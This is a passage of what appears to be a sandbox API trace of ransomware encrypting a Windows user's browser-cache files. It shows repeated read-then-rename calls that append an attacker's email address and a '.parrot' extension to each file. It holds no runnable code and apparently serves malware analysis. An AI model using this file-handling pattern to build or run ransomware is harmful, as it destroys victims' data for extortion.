liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.759] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.760] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.760] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x21b, lpOverlapped=0x0) returned 1 [0079.761] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.761] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af960 | out: hHeap=0x5b0000) returned 1 [0079.766] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.766] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.768] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x27b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x27b, lpOverlapped=0x0) returned 1 [0079.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.769] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.771] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.773] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x268, lpOverlapped=0x0) returned 1 [0079.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.773] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.776] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.776] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.777] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x21e, lpOverlapped=0x0) returned 1 [0079.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.778] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af960 | out: hHeap=0x5b0000) returned 1 [0079.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.781] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.782] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2e3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2e3, lpOverlapped=0x0) returned 1 [0079.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.782] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.785] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.785] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.787] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x12c, lpOverlapped=0x0) returned 1 [0079.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.787] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af960 | out: hHeap=0x5b0000) returned 1 [0079.790] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.790] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.792] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x391, lpOverlapped=0x0) returned 1 [0079.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.792] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.830] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.832] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.832] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7a52, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7a52, lpOverlapped=0x0) returned 1 [0079.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.836] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e118 | out: hHeap=0x5b0000) returned 1 [0079.842] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.842] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.843] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.843] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3e3, lpOverlapped=0x0) returned 1 [0079.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.844] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\async_usersync[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\async_usersync[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0079.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.847] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.847] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.848] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.849] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5feb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5feb, lpOverlapped=0x0) returned 1 [0079.850] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af960 | out: hHeap=0x5b0000) returned 1 [0079.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e118 | out: hHeap=0x5b0000) returned 1 [0079.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.854] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.855] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.856] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1aa, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1aa, lpOverlapped=0x0) returned 1 [0079.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.856] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6afb18 | out: hHeap=0x5b0000) returned 1 [0079.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.859] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.860] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.861] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c22, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c22, lpOverlapped=0x0) returned 1 [0079.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.862] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0079.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.865] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.866] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 